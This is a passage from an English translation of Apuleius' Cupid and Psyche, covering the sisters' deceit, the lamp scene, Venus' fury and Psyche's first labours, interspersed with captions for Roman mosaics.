light to which I cling.’  Her husband was bewitched with these words and soft embraces. He wiped away her tears with his curls, promised to do her bidding, and at once departed before dawn broke.  The conspiratorial pair of sisters did not even call on their parents. At breakneck speed they made straight from the ships to the familiar rock, and without waiting for the presence of the wafting wind, launched themselves down with impudent rashness into the depths below. Zephyrus, somewhat unwillingly recalling his king's command, enfolded them in the bosom of his favouring breeze and set them down on solid earth. Without hesitation they at once marched with measured step into the house, and counterfeiting the name of sisters they embraced their prey. With joyful expressions they cloaked he deeply hidden deceit which they treasured within them, and flattered their sister with these words : ‘Psyche, you are no longer the little girl of old; you are now a mother. Just imagine what a blessing you bear in that purse of yours! What pleasures you will bring to our whole family! How lucky we are at the prospect of rearing this prince of infants! If he is as handsome as his parents--and why not?--he is sure to be a thorough Cupidos (Cupid) [Eros]!’  With this pretence of affection they gradually wormed their way into their sister's heart. As soon as they had rested their feet to recover from the weariness of the journey, and had steeped their bodies in a steaming bath, Psyche served them in the dining-room with a most handsome and delightful meal of meats and savouries. She ordered a lyre to play, and string-music came forth; she ordered pipes to start up, and their notes were heard; she bade choirs to sing, and they duly did. All this music soothed their spirits with the sweetest tunes as they listened, though no human person stood before them. But those baleful sisters were not softened or lulled even by that music so honey-sweet. They guided the conversation towards the deceitful snare which they had laid, and they began to enquire innocently about the status, family background, and walk of life of her husband. Then Psyche's excessive naivety made her forget her earlier version, and she concocted a fresh story. She said that her husband was a business-man from an adjoining region, and that he was middle-aged, with streaks of grey in his hair. But she did not linger a moment longer in such talk, but again loaded her sisters with rich gifts, and ushered them back to their carriage of the wind.  Eros-Cupid and Psychae, Greco-Roman mosaic from Daphne C3rd A.D., Hatay Archaeology Museum  "But as they returned home, after Zephyrus with his serene breath had borne them aloft, they exchanged abusive comments about Psyche. ‘There are no words, sister, to describe the outrageous lie of that idiotic girl. Previously her husband was a young fellow whose beard was beginning to sprout with woolly growth, but now he's in middle wage with spruce and shining grey hair : What a prodigy he must be! This short interval has brought on old age abruptly, and has changed his appearance! You can be sure, sister, that this noxious female is either telling a pack of lies or does not know what her husband is like. Whatever the truth of the matter, she must be parted from those riches of hers without delay. If she does not know what her husband looks like, she must certainly be married to a god, and its is a god she's got for us in that womb of hers. Be sure of this, that if she becomes a celebrity as the mother of a divine child--which God forbid--I'll put a rope round my neck and hang myself. For the moment, then, let us go back to our parents and spin a fairy story to match the one we concocted a first.’  In this impassioned state they greeted their parents disdainfully, and after a restless night those despicable sisters sped to the rock at break of day. They threw themselves down through the air, and the Wind afforded them his usual protection. They squeezed their eyelids to force out some tears, and greeted the girl with these guileful words : ‘While you sit here, content and in happy ignorance of your grim situation, giving no thought to your danger, we in our watchful zeal for your welfare lie awake at night, racked with sadness for your misfortunes. We know for a fact--and as we share your painful plight we cannot hide it from you--that a monstrous Dragon lies unseen with you at night. It creeps along with its numerous knotted coils; its neck is blood-stained, and oozes deadly poison; its monstrous jaws lie gaping open. You must surely remember the Pythian oracle, and its chant that you were doomed to wed a wild beast. Then, too, many farms, local huntsmen, and a number of inhabitants have seen the Dragon returning to its lair at night after seeking its food, or swimming in the shallows of a river close by. All of them maintain that the beast will not continue to fatten you for long by providing you with enticing food, and that as soon as your womb has filled out and your pregnancy comes to term, it will devour the richer fare which you will then offer. In view of this, you must now decide whether you ware willing to side with your sisters, who are anxious for your welfare which is so dear to their hearts, and to live in their company once you escape from death, or whether you prefer to be interred in the stomach of that fiercest of beasts. However, if you opt for the isolation of this rustic haunt inhabited only by voices, preferring the foul and hazardous intimacy of furtive love in the embrace of this venomous Dragon, at any rate we as your devoted sisters will have done our duty.’  Poor Psyche, simple and innocent as she was, at once felt apprehension at these grim tidings. She lost her head, and completely banished her recollection of all her husband's warnings and her own promises. She launched herself into the abyss of disaster. Trembling and pale as the blood drained from her face, she barely opened her mouth as she gasped and stammered out this reply to them. ‘Dearest sisters, you have acted rightly in continuing to observe your devoted duty, and as for those who make these assertions to you, I do not think that they are telling lies. It is true that I have never seen my husband's face, and I have no knowledge whatsoever of where he hails form. I merely attend at night to the words of a husband to whom I submit with no knowledge of what he is like, for he certainly shuns the light of day. Your judgement is just that he is some beast, and I rightly agree with you. He constantly and emphatically warns me against seeing what he looks like, and threatens me with great disaster if I show curiosity about his features. So if at this moment you can offer saving help to your sister in her hour of danger, you must come to my rescue now. Otherwise your indifference to the future will tarnish the benefits of your previous concern.’  Those female criminals had now made their way through the open gates, and had occupied the mind of their sister thus exposed. They emerged from beneath the mantlet of their battering-ram, drew their swords, and advanced on the terrified thoughts of that simple girl. So it was that one of them said to her : ‘Our family ties compel us, in the interests of your safety, to disregard any danger whatsoever which lies before us, so we shall inform you of the one way by which you will attain the safety which has exercised us for so long. You must whet a razor by running it over your softened palm, and when it is quite sharp hide it secretly by the bed where you usually lie. Then fill a well-trimmed lamp with oil, and when it is shining brightly, conceal it beneath the cover of an enclosing jar. Once you have purposefully secreted this equipment, you must wait until your husband ploughs his furrow, and enters and climbs as usual into bed. Then, when he has stretched out and sleep has begun to oppress and enfold him, as soon as he starts the steady breathing which denotes deep sleep, you must slip off the couch. In your bare feet and on tiptoe take mincing steps forward, and remove the lamp from its protective cover of darkness. Then take your cue from the lamp, and seize the moment to perform your own shining deed. Grasp the two-edged weapon boldly, first raise high your right hand, and then with all the force you can muster sever the knot which joins the neck and head of that venomous serpent. You will not act without our help, for we shall be hovering anxiously in attendance, and as soon as you have ensured your safety by his death, we shall fly to your side. All these riches here we shall bear off with you with all speed, and then we shall arrange an enviable marriage for you, human being with human being.’  Their sister was already quite feverish with agitation, but these fiery words set her heart ablaze. At once they left her, for their proximity to this most wicked crime made them fear greatly for themselves. So the customary thrust of the winged Breeze bore them up to the rock, and they at once fled in precipitate haste. Without delay they embarked on their ships and cast off.  But Psyche, now left alone, except that being harried by the hostile Furiae (Furies) [Erinyes] was no solitude, tossed in her grief like the waves of the sea. Though her plan was formed and her determination fixed, she still faltered in uncertainty of purpose as she set her hands to action, and was torn between the many impulses of her unhappy plight. She made haste, she temperized; her daring turned more to fear, her diffidence to anger, and to cap everything she loathed the beast but loved the husband, though they were one and the same. But now evening brought on darkness, so with headlong haste she prepared the instruments for the heinous crime. Night fell, and her husband arrived, and having first skirmished in the warfare of love, he fell in to a heavy sleep.  Then Psyche, though enfeebled in both body and mind, gained the strength lent her by fate's harsh decree. She uncovered the lamp, seized the razor, and showed a boldness that belied her sex. But as soon as the lamp was brought near, and the secrets of the couch were revealed, she beheld of all beasts the gentlest and sweetest, Cupidos [Eros] himself, a handsome god lying in a handsome posture. Even the lamplight was cheered and brightened on sighting him, and the razor felt suitable abashed at its sacrilegious sharpness. As for Psyche, she was awe-struck at this wonderful vision, and she lost all her self-control. She swooned and paled with enervation; her knees buckled, and she sought to hide the steel by plunging it into her own breast. Indeed, she would have perpetrated this, but the steel showed its fear of committing so serious a crime by plunging out of her rash grasp. But as in her weariness and giddiness she gazed repeatedly on the beauty of that divine countenance, her mental balance was restored. She beheld on his golden head his luxuriant hair steeped in ambrosia; his neatly pinned ringlets strayed over his milk-white neck and rosy cheeks, some dangling in front and some behind, and their surpassing sheen made even the lamplight flicker. On the winged god's shoulders his dewy wings gleamed white with flashing brilliance; though they lay motionless, the soft and fragile feathers at their tips fluttered in quivering motion and sported restlessly. The rest of his body, hairless and rosy, and was such that Venus [Aphrodite] would not have been ashamed to acknowledge him as her son. At the foot of the bed lay his bow, quiver, and arrows, the kindly weapons of that great god.  As Psyche trained her gaze insatiably and with no little curiosity on these her husband's weapons, in the course of handling and admiring them she drew out an arrow from the quiver, and tested its point on the tip of her thumb. But because her arm was still trembling she pressed too hard, with the result that it pricked too deeply, and tiny drops of rose-red blood bedewed the surface of the skin. So all unknowing and without prompting Psyche fell in love with Amor (Love) [Eros], being fired more and more with desire for the god of desire. She gazed down on him in distraction, and as she passionately smothered him with wanton kisses from parted lips, she feared that he might stir in his sleep. But while her wounded heart pounded on being roused by such striking beauty, the lamp disgorged a drop of burning oil from the tip of its flame upon the god's right shoulder; it could have been nefarious treachery, or malicious jealousy, or the desire, so to say, to touch and kiss that glorious body. O you rash, reckless lamp, Amor's (Love's) worthless servant, do you burn the very god who possesses all fire, though doubtless you were invented by some lover to ensure that he might possess for longer and even at night the object of his desire? The god started up on being burnt; he saw that he was exposed, and that his trust was defiled. Without a word he at once flew away from the kisses and embrace of his most unhappy wife.  But Psyche seized his right leg with both hands just as he rose above her. She made a pitiable appendage as he soured aloft, following in his wake and dangling in company with him as they flew through the clouds. But finally she slipped down to earth exhausted. As she lay there on the ground, her divine lover did not leave her, but flew to the nearest cypress-tree, and from its summit spoke in considerable indignation to her. ‘Poor, ingenuous Psyche, I disregarded my mother Venus' instructions when she commanded that you be yoked in passionate desire to the meanest of men, and that you be then subjected to the most degrading of marriages. Instead, I preferred to swoop down to become your lover. I admit that my behaviour was not judicious; I, the famed archer, wounded myself with my own weapon, and made you my wife--and all so that you should regard me as a wild beast, and cut off my head with the steel, and with it the eyes that dote on you! I urged you repeatedly, I warned you devotedly always to be on your guard against what has now happened. But before long those fine counsellors of yours will make satisfaction to me for their heinous instructions, whereas for you the punishment will be merely my departure.’  As he finished speaking, he soared aloft on his wings. From her prostrate position on the ground Psyche watched her husband's flight as far as her eyes allowed, and she tortured her heart with the bitterest lamentations. But once the sculling of his wings had removed him from her sight and he had disappeared into the distance, she hurled herself headlong down from the bank of a river close by. But that kindly stream was doubtless keen to pay homage to the god who often scorches even the waters, and in fear for his person he at once cast her ashore on his current without injuring her, and set her on its grassy bank. The rustic god Pan chanced to be sitting at that moment on the brow of the stream, holding the mountain deity Echo in his arms, and teaching her to repeat after him all kinds of songs. Close by the bank nanny-goats were sporting as they grazed and cropped the river-foliage here and there. The goat-shaped god was well aware of the calamity that had befallen Psyche. He called her gently to him, lovesick and weary as she was, and soothed her with these consoling words. ‘You are an elegant girl, and I am a rustic herdsman, but my advanced years give me the benefit of considerable experience. If my hazard is correct--sages actually call such guesswork divine insight--I infer from your stumbling and frequently wandering steps, from your excessively pale complexion and continual sighs, and not least from your mournful gaze, that you are suffering grievous love-pains. On that account you must hearken to me: do not seek gain to destroy yourself by throwing yourself headlong or by seeking any other means of death. Cease your sorrowing, lay aside your sadness, and instead direct prayers of adoration to Cupidos [Eros], greatest of gods, and by your caressing attentions win the favour of that wanton and extravagant youth.’  Psyche made no reply to this advice from the shepherd-god. She merely paid reverential homage to his divine person, and proceeded on her way. After wandering with weary steps for a considerable distance, as night bell a certain path led her all unknowing to the city where the husband of one of her sisters had his realm. Psyche recognised it, and asked that her arrival be announced to her sister. She was then ushered in, and after they had greeted and embraced each other, her sister enquired why she had come.  Psyche began to explain. ‘You recall that plan of yours, by which you both persuaded me to take a two-edged razor and slay the beast who used to lie with me falsely claiming to be my husband, with the intention of later devouring my poor self with his greedy maw? I fell in with your proposal, but when the lamp which conspired with me allowed me to gaze on his face, the vision I beheld was astonishing and utterly divine; it was the son of the goddess Venus [Aphrodite], I mean Cupidos [Eros] himself, who lay peacefully sleeping there. I exulted at the sight of such beauty, and was confused by the sense of overwhelming delight, and as I experienced frustration at being unable to enjoy relations with him, the lamp by dreadful mischance shed a drop of burning oil on his shoulder. At once the pain caused him to start from his sleep, and when he saw me wielding the steel and the flame, he said : "This is a dreadful deed you have done. Leave my bed this instant, and take your goods and chattels with you. I shall now take your sister"--at this point he cited your name specifically--"in solemn marriage." At once he then ordained Zephyrus to waft me outside the bounds of his estate.’  Psyche had not yet finished speaking when her sister, goaded by mad lust and destructive envy, swung into action. She devised a lying excuse to deceive her husband, pretending that she had learnt of her parents' death; she at once boarded ship, and then made hot-foot for the rock. Although the wrong wind was blowing, her eagerness was fired by blind hope, and she said : ‘Take me, Cupidos, as your worthy wife; Zephyrus, take your mistress aboard!’  She then took a prodigious leap downward. But not even in death could she reach that abode for her limbs bounced on the rocky crags, and were fragmented. Her insides were torn out, and in her fitting death she offered a ready meal to birds and beasts. The second punitive vengeance was not long delayed. Psyche resumed her wandering, and reached a second city where her other sister similarly dwelt. She too was taken in by her sister's deception, and in her eagerness to supplant Psyche in the marriage which they had befouled, she hastened to the rock, and fell to her deadly doom in the same way.  While Psyche was at this time visiting one community after another in her concentrated search for Cupidos [Eros], he was lying groaning in his mother's chamber, racked by the pain of the wound from the lamp. But then the tern, the white bird which wings her way over the sea-waves, plunged swiftly into the deep bosom of ocean. She came upon Venus [Aphrodite] conveniently there as the goddess bathed and swam; she perched beside her, and told her that her son had suffered burning, and was lying in considerable pain from the wound, with his life in danger. As a result the entire household of Venus was in bad odour, the object of gossip and rebuke on the lips of people everywhere. They were claiming that Cupidos was relaxing with a leady of easy virtue in the mountains, and that Venus herself was idly swimming in the ocean, with the result that pleasure and favour and elegance had departed from the world; all was unkempt, rustic, uncouth. There were no weddings, no camaraderie between friends, none of the love which children inspire; all was a scene of boundless squalor, of unsavoury tedium in sordid alliances. Such was the gossip which that garrulous and prying bird whispered in Venus' ear, tearing her son's reputation to shreds.  Venus was absolutely livid. She burst out : ‘So not that fine son of mine has a girl-friend, has he? Come on, then tell me her name, since you are the only one who serves me with affection. Who is it who has tempted my innocent, beardless boy? Is it one of that crowd of Nymphae (Nymphs), or one of the Horae (Seasons), or one of the band of Musae (Muses), or one of my servant Gratiae (Graces)?’ The garrulous bird did not withhold a reply. She said : ‘I do not know, mistress; I think the story goes that he is head over heels in love with a girl by the name of Psyche, if my memory serves me rightly.’  Then Venus in a rage bawled out at the top of her voice : ‘Can it really be true that he is in love with that Psyche who lays claim to my beauty and pretends to my name? That son of mine must surely have regarded me as a procuress, when I pointed the girl out to him so that he could win her acquaintance.’  As she grumbled she made haste to quit the sea, and at once made for her golden chamber. There she found her son lying ill as she had heard, and from the doorway she bellowed out as loudly as she could : ‘This is a fine state of affairs, just what one would expect from a child of mine, from a decent man like you! First of all you trampled underfoot the instructions of your mother--or I should say your employer--and you refused to humble my personal enemy with a vile love-liaison; and then, mark you, a mere boy of tender years, you hugged her close in your wanton, stunted embraces! You wanted me to have to cope with my enemy as a daughter-in-law! You take too much for granted, you good-for-nothing, loathsome seducer! You think of yourself as my only noble heir, and you imagine that I'm now too old to bear another. Just realize that I'll get another son, one far better than you. In fact I'll rub your nose in it further. I'll adopt one of my young slaves, and make him a present of these wings and torches of yours, the bow and arrows, and all the rest of my paraphernalia which I did not entrust to you to be misused like this. None of the cost of kitting you out came from your father's estate.  ‘Ever sine you were a baby you have been badly brought up, too ready with your hands. You show no respect to your elders, pounding them time after time. Even me your own mother you strip naked every day, and many's the time you've cuffed me. You show me total contempt as though I were a widow, and you haven't an ounce of fear for your stepfather, the bravest and greatest of warriors. And why should you? You are in the habit of supplying him with girls, to cause me the pain of having to compete with rivals. But now I'll make you sorry for this sport of yours. I'll ensure that you find your marriage sour and bitter.  ‘But what am I to do, now that I'm becoming a laughing-stock? Where shall I go, how shall I curb in this scoundrel? Should I beg the assistance of my enemy Sobrietate (Sobriety), so often alienated from me through this fellow's loose living? The prospect of having to talk with that unsophisticated, hideous female gives me the creeps. Still I must not despise the consolation of gaining revenge from any quarter. She is absolutely the only one to be given the job of imposing the harshest discipline on this rascal. She must empty his quiver, immobilize his arrows, unstring his bow, extinguish his torch, and retrain his person with sharper correction. Only when she has sheared off his locks--how often I have brushed them shining like gold with my own hands!--nd clipped those wings, which I have steeped in my own breast's liquid nectar, shall I regard the insult dealt to me as expiated.’  These were her words. Then she bustled out, glowering and incensed with passionate rage. At that moment Ceres [Demeter] and Juno [Hera] came up with her. When they observed her resentful face, they asked her why she was cloaking the rich charm of her radiant eyes with a sullen frown. ‘You have come,’ she answered, ‘at a timely moment to fulfil my wishes, for I am seething inside. I ask you to search with might and main for that fickle runaway of mine called Psyche. I'm sure that the scandalous gossip concerning my household, and the behaviour of that unspeakable son of mine, have not passed you by.’ They knew quite well what had happened, and they south to assuage Venus' raging temper. ‘My lady, how is it that your son's peccadillo has caused you to war on his pleasures in this unrelenting way, and also to desire to destroy the girl that he loves? What harm is there, we should like to know, in his giving the glad eye to a nicely turned-out girl? Don't you realize that he is in the prime of manhood, or are you forgetting his age? Just because he carries his years well, does he strike you as a perpetual boy? You are a mother and a sensible one at that. Are you always going to pry nosily into your son's diversions, and condemn his wanton ways, censure his love-life, and vilify your own skills and pleasures as practised by your handsome son? What god or what person on earth will bear with your scattering sensual pleasures throughout the world, when you sourly refuse to allow love-liaisons in your own house, and you close down the manufacture of women's weaknesses which is made available to all?’  This was how the two goddesses sucked up to Cupidos, seeking to win his favour, though he was absent, by taking his part, for they feared his arrows. But Venus was affronted that the insults which she sustained were treated so lightly. She cut the tow of them short, turned on her heel, and stalked quickly off to the sea.  Eros-Cupid and Psyche, Greco-Roman mosaic from Zeugma C1st-2nd A.D., Gaziantep Museum  "Meanwhile Psyche in her random wanderings was suffering torment, as she sought day and night to trace her husband. She was restless in mind, but all the more eager, in spite of his anger, to soften him with a wife's endearments, or at any rate to appease him with a servant's entreaties. She spied a temple perched on the peak of a high mountain, and she said : ‘Perhaps this is where my lord dwells?’ She made her way quickly there, and though her feet were utterly weary from her unremitting labours, her hope and aspiration quickened them. She mounted the higher ridges with stout heart, and drew close to the sacred shrine. There she saw ears of wheat in a heap, and others woven into a garland, and ears of barley as well. There were sickles lying there, and a whole array of harvesting implements, but they were in a jumbled and neglected heap, thrown carelessly by workmen's hands, as happens in summer-time. Psyche carefully sorted them out and ordered them in separate piles; no doubt she reflected that she should not neglect the shrines and rites of any deity, but rather implore the kindly spirit of each and all.  Kindly Ceres [Demeter] sighted her as she carefully and diligently ordered these offerings, and at once she cried out from afar : ‘Why, you poor Psyche! Venus [Aphrodite] is in a rage, mounting a feverish search for your traces all over the globe. She has marked you down for the sternest punishment, and is using all the resources of her divinity to demand vengeance. And here you are, looking to my interests, with your mind intent on anything but your own safety!’  Then Psyche grovelled at the goddess's feet, and watered them with a stream of tears. She swept the ground with her hair, and begged Ceres' [Demeter's] favour with a litany of prayers. ‘By your fruitful right hand, by the harvest ceremonies which assure plenty, by the silent mysteries of your baskets and the winged courses of your attendant Dracones, by the furrows in your Sicilian soil, by Proserpina's [Persephone's] descent to a lightless marriage, and by your daughter's return to rediscovered light, and by all else which the shrine of Attic Eleusis shrouds in silence--I beg you, lend aid to this soul of Psyche which is deserving of pity, and now entreats you. Allow me to lurk hidden here among these heaps of grain if only for a few days, until the great goddess's raging fury softens with the passage of time, or at any rate till my strength, which is now exhausted by protracted toil, is assuaged by a period of rest.’  Ceres [Demeter] answered her : ‘Your tearful entreaties certainly affect me and I am keen to help you, but I cannot incur Venus's displeasure, for I maintain long-standing ties of friendship with her--and besides being my relative, she is also a fine woman. So you must quit this dwelling at once, and count it a blessing that I have not apprehended and imprisoned you.’  So Psyche, in suffering this reverse to her hopes, was now beset by a double grief. As she retraced her steps, she noticed in a glimmering grove in the valley below an elegantly built shrine. Not wishing to disregard any means, however uncertain, which gave promise of brighter hope, and in her eagerness to seek the favour of any divinity whatsoever, she drew close to its sacred portals. There she observed valuable offerings, and ribbons inscribed with gold letters pinned to the branches of trees and to the doorposts. These attested the name of the goddess to whom they were dedicated, together with thanks for favours received. She sank to her knees, and with her hands she grasped the altar still warm from a sacrifice. She wiped away her tears, and then uttered this prayer [to Juno-Hera] : ‘Sister and spouse of mighty Jupiter [Zeus], whether you reside in your ancient shrine at Samos, which alone can pride itself on your birth, your infant cries, and your nurture; or whether you occupy your blessed abode in lofty Carthage, which worships you as the maiden who tours the sky on a lion's back; or whether you guard the famed walls of the Argives, by the banks of the river-god Inachus, who now hymns you as bride of the Thunderer and as queen of all goddesses; you, whom all the East reveres as the yoking goddess, and whom all the West addresses as Lucina [goddess of childbirth], be for me in my most acute misfortunes Juno [Hera] Sospita (the Saviour), and free me from looming dangers in my weariness from exhausting toils. I am told that it is your practice to lend unsolicited aid to pregnant women in danger.’  As she prayed like this, Juno [Hera] at once appeared before her in all the venerable majesty of her divinity. There and then the goddess said : ‘Believe me, I only wish that I could crown your prayers with my consent. But shame prevents me from opposing the will of Venus [Aphrodite], my daughter-in-law whom I have always loved as my own daughter. There is a second obstacle--the legislation which forbids sanctuary for runaway slaves belonging to others, if their owners forbid it.’  Psyche was aghast at this second shipwreck devised by Fortuna (Fortune). Unable to meet up with her elusive husband, she abandoned all hope of salvation, and had recourse to her own counsel. ‘What other assistance can I seek or harness to meet my desperate plight? Even the goodwill of goddesses however well-disposed has been of no avail to me. Now that I am trapped in a noose as tight as this, where can I make for, under what roof or in what dark corner can I hide, to escape the unwinking eyes of mighty Venus? Why don't you show a manly spirit, and the strength to renounce idle hope? Why don't you surrender yourself voluntarily to your mistress, and soften her savage onslaught by showing a humble demeanour, however late in the day? You never know, you may find the object of your long search in her house.’  This was how she steeled herself for the uncertain outcome of showing obedience or rather for her certain destruction, as she mentally rehearsed the opening lines of the plea she was to utter.  Venus [Aphrodite] now despaired of a successful search for her by earthly means, and she made for heaven. She ordered her carriage to be prepared; Vulcanus [Hephaistos] had lovingly applied the finishing touches to it with elaborate workmanship, and had given it to her as a wedding-present before her initiation into marriage. The thinning motion of his file had made the metal gleam; the coach's value was measured by the gold it had lost. Four white doves emerged from the large herd stabled close to their mistress's chamber. As they strutted gaily forward, turning their dappled necks from side to side. They submitted to the jewelled yoke. They took their mistress aboard and delightedly mounted upwards. Sparrows sported with the combined din of their chatter as they escorted the carriage of the goddess, and the other birds, habitually sweet songsters, announced the goddess's approach with the pleasurable sound of their honeyed tunes. The clouds parted, and Caelus (Heaven) [Ouranos (Uranus)] admitted his daughter; the topmost region delightedly welcomed the goddess, and the tuneful retinue of mighty Venus had no fear of encounter with eagles or of plundering hawks.  She at once made for the royal citadel of Jupiter [Zeus], and in arrogant tones sought the urgent use of the services of the spokesman-god Mercurius (Mercury) [Hermes]. Jupiter's lowering brow did not refuse her. Venus happily quitted heaven at once with Mercurius accompanying her, and she spoke seriously to him : ‘My brother from Arcaida, you surely know that your sister Venus has never had any success without Mercurius's attendance, and you are well aware for how long I have been unable to trace my maid who lies in hiding. So I have no recourse other than that you as herald make a public proclamation of a reward for tracking her down. So you must hasten to do my bidding, and clearly indicate the marks by which she can be recognized, so that if someone is charged with unlawfully concealing her, he cannot defend himself on the plea of ignorance.’  With these words she handed him a sheet containing Psyche's name and other details. Then she at once retired home.  Mercurius [Hermes] did not fail to obey her. He sped here and there, appearing before gatherings of every community, and as instructed performed the duty of making proclamation : ‘If anyone can retrieve from her flight the runaway daughter of the king, the maidservant of Venus called Psyche, or indicate her hidden whereabouts, he should meet the herald Mercurius behind the metae Muriae. Whoever does so will obtain as reward from Venus herself seven sweet kisses, and a particularly honeyed one imparted with the thrust of her caressing tongue.’  Longing for this great reward aroused eager competition between men everywhere when Mercurius made the proclamation on these lines, and this above all ended Psyche's hesitation. As she drew near to her mistress's door, a member of Venus's [Aphrodite's] household called Consueto (Habit) confronted her, and at once cried out at the top of her voice : ‘Most wicked of all servants, have you at last begun to realize that you have a mistress? Or are you, in keeping with the general run of your insolent behaviour, still pretending to be unaware of the exhausting efforts we have endured in searching for you? How appropriate it is that you have fallen into my hands rather than anyone else's. You are now caught fast in the claws of Orcus [Haides], and believe me, you will suffer the penalty for your gross impudence without delay.’  She then laid a presumptuous hand on Psyche's hair, and dragged the girl in unresisting. As soon as she was ushered in and presented before Venus' gaze, the goddess uttered the sort of explosive cackle typical of people in a furious rage. She wagged her head, scratched her right ear, and said : ‘Oh, so you have finally condescended to greet your mother-in-law, have you? Or is the purpose of this visit rather to see your husband, whose life is in danger from the wound which you inflicted? You can rest assured that I shall welcome you as a good mother-in-law should.' Then she added : ‘Where are my maids Sollicito (Melancholy) and Tristie (Sorrow)?’  They were called in, and the goddess consigned Psyche to them for torture. They obeyed their mistress's instruction, laid into poor Psyche and tortured her with other implements, and then restored her to their mistress's presence. Venus renewed her laughter. ‘Just look at her,’ she said. ‘With that appealing swelling in her belly, she makes me feel quite sorry for her. I suppose she intends to make me a happy grandmother of that famed offspring; how lucky I am, in the bloom of my young days, at the prospect of being hailed as a grandma, and having the son of a cheap maidservant called Venus's grandson! But what a fool I am, mistakenly calling him a son, for the wedding was not between a couple of equal status. Besides, ti took place in a country house, without witnesses and without a father's consent, so it cannot be pronounced legal. The child will therefore be born a bastard--if we allow you to reach full term with him at all!’  Saying this, she flew at Psyche, ripped her dress to shreds, tore her hair, made her brains rattle, and pummelled her severely. She then brought some wheat, barley, millet, poppyseed, chickpeas, lentils and beans. She mingled them together in an indiscriminate heap, and said to her : ‘You are such an ugly maidservant that I think the only way you win your lovers is by devoted attendance, so I'll see myself how good you are. Separate out this mixed heap of seeds, and arrange the different kinds in their proper piles. Finish the work before tonight, and show it to me to my satisfaction.’  Having set before her this enormous pile of seeds, she went off to a wedding-dinner. Psyche did not lay a finger on this confused heap, which was impossible to separate. She was dismayed by this massive task imposed on her, and stood in stupefied silence. Then the little country-ant familiar to us all got wind of her great problem. It took pity on the great god's consort, and cursed the vindictive behaviour of her mother-in-law. Then it scurried about, energetically summoning and assembling a whole army of resident ants : ‘have pity, noble protégées of Terra (Earth) [Gaia], our universal mother; have pity, and with eager haste lend your aid to this refined girl, who is Amor's [Eros'] wife.’ Wave after wave of the sespedalian tribe swept in; with the utmost enthusiasm each and all divided out the heap grain by grain, and when they had sorted them into their different kinds, they swiftly vanished from sight.  As night fell, Venus returned from the wedding-feast flushed with wine and perfumed with balsam, her whole body wreathed with glowing roses. When she observed the astonishing care with which the task had been executed, she said : ‘This is not your work, you foul creature; the hands that accomplished it are not yours, but his whose favour you gained, though little good it's done you, or him either!’ The goddess threw her a crust of bread, and cleared off to bed.  Meanwhile Cupidos [Eros] was alone, closely guarded and confined in a single room at the back of the house. This was partly to ensure that he did not aggravate his wound by wanton misbehaviour, and partly so that he would not meet his dear one. So the lovers though under the one roof were kept apart from each other, and were made to endure a wretched night. But as soon as Aurora's (the Dawn's) [Eos'] chariot appeared, Venus summoned Psyche, and spoke to her like this : ‘Do you see the grove there, flanked by the river which flows by it, its banks extending into the distance and its low-lying bushes abutting on the stream? There are sheep in it wandering and grazing unguarded, and their fleeces sprout with the glory of pure gold, I order you to go there ate once, and somehow or other obtain and bring back to me a tuft of wool from the precious fleece.’  Psyche made her way there without reluctance, but with no intention of carrying out this task. She wanted to seek the cessation of her ills by throwing herself headlong from a cliff above the river. But from that stretch of stream one of the green reeds which foster sweet music was divinely inspired by the gentle sound of a caressing breeze, and uttered this prophecy : ‘Psyche, even though you are harrowed by great trials, do not pollute my waters by a most wretched death. You must not approach the fearsome sheep at this hour of the say, when they tend to be fired by the burning heat of the sun and charge about in ferocious rage; with their sharp horns, their rock-hard heads, and sometimes their poisonous bites, they wreak savage destruction on human folk. But one the hours past noon have quelled the sun's heat, and the flocks have quieted down under the calming influence of the river-breeze, you will be able to conceal yourself under that very tall plane-tree, which sucks in the river-water as I do myself. Then, as soon as the sheep relax their fury and their disposition grows gentle, you must shake the foliage in the neighbouring grove, and you will find golden wool clinging here and there to the curved stems.’  This was how the reed, endowed with human qualities of openness and kindness, told Psyche in her extremity how to gain safety. She did not disregard this careful instruction and suffer accordingly; she followed out every detail, and the theft was easily accomplished. She gathered the soft substance of yellow gold in her dress, and brought it back to Venus. But the hazard endured in this second trial won her no favourable acknowledgement from her mistress at least, for Venus frowned heavily, smiled harshly, and said : ‘I know quite well that this too is the work of that adulterer. But no I shall try you out in earnest, to see if you are indeed endowed with brave spirit and unique circumspection. Do you see that lofty mountain-peak, perched above a dizzily high cliff, from where the livid waters of a dark spring come tumbling down, and when enclosed in the basin of he neighbouring valley, water the marshes of the Styx and feed the hoarse streams of the Cocytus? I want you to hurry and bring me back in this small jug some icy water drawn from the stream's highest point, where it gushes out from within.’  Handing Psyche a vessel shaped from crystal, she backed this instruction with still harsher threats.  Psyche made for the topmost peak with swift and eager step, for she was determined there at least to put an end to her intolerable existence. But the moment she neared the vicinity of the specified mountain-range, she became aware of the lethal difficulty posed by her daunting task. A rock of huge size towered above her, hard to negotiate and treacherous because of its rugged surface. From its stony jaws it belched forth repulsive waters which issued directly from a vertical cleft. [The Greek geographer Pausanias' description of the Arcadian stream Styx is quite similar]. The stream glided downward, and being concealed in the course of the narrow channel which it had carved out, it made its hidden way into a neighbouring valley. From the hollow rocks on the right and left fierce snakes crept out, extending their long necks, their eyes unblinkingly watchful and maintaining unceasing vigil. The waters themselves formed an additional defence, for they had the power of speech, and from time to time would cry out ‘Clear off!’ or ‘Watch what you're doing!’, or ‘What's your game? Lookout!’, or ‘Cut and run!’, or ‘You won't make it!’ The hopelessness of the situation turned Psyche to stone. She was physically present, but her senses deserted her. She was utterly downcast by the weight of inescapable danger; she could not even summon the ultimate consolation of tears.  But the privations of this innocent soul did not escape the steady gaze of benevolent Providentia (Providence). Suddenly highest Jupiter's [Zeus'] royal bird appeared with both wings outstretched: this is the eagle, the bird of prey who recalled his service of long ago, when following Cupidos' [Eros'] guidance he had borne the Phrygian cupbearer [Ganymedes] to Jupiter [Zeus]. The bird now lent timely aid, and directed his veneration for Cupidos's power to aid his wife in her ordeal. He quitted the shining paths of high heaven, flew down before the girl's gaze, and broke into speech : ‘You are in all respects an ingenuous soul without experience in things such as this, so how can you hope to be able to steal the merest drop from this most sacred and unfriendly stream, or even apply your hand to it? Rumour at any rate, as you know, ahs it that these Stygian waters are an object of fear to the gods and to Jupiter [Zeus] himself, that just as you mortals swear by the gods' divine power, so those gods frequently swear by the majesty of the Styx. So here, hand me that jug of yours.’ At once he grabbed it, and hastened to fill it with water. Balancing the weight of his drooping wings, he used them as oars on right and left to steer a course between the serpents' jaws with their menacing teeth and the triple-forked darting of their tongues. He gathered some water in the face of its reluctance and its warning to him to depart before he suffered harm; he falsely claimed the Venus had ordered him to collect it, and that he was acting in her service, which made it a little easier for him to approach.  So Psyche joyously took the filled jug 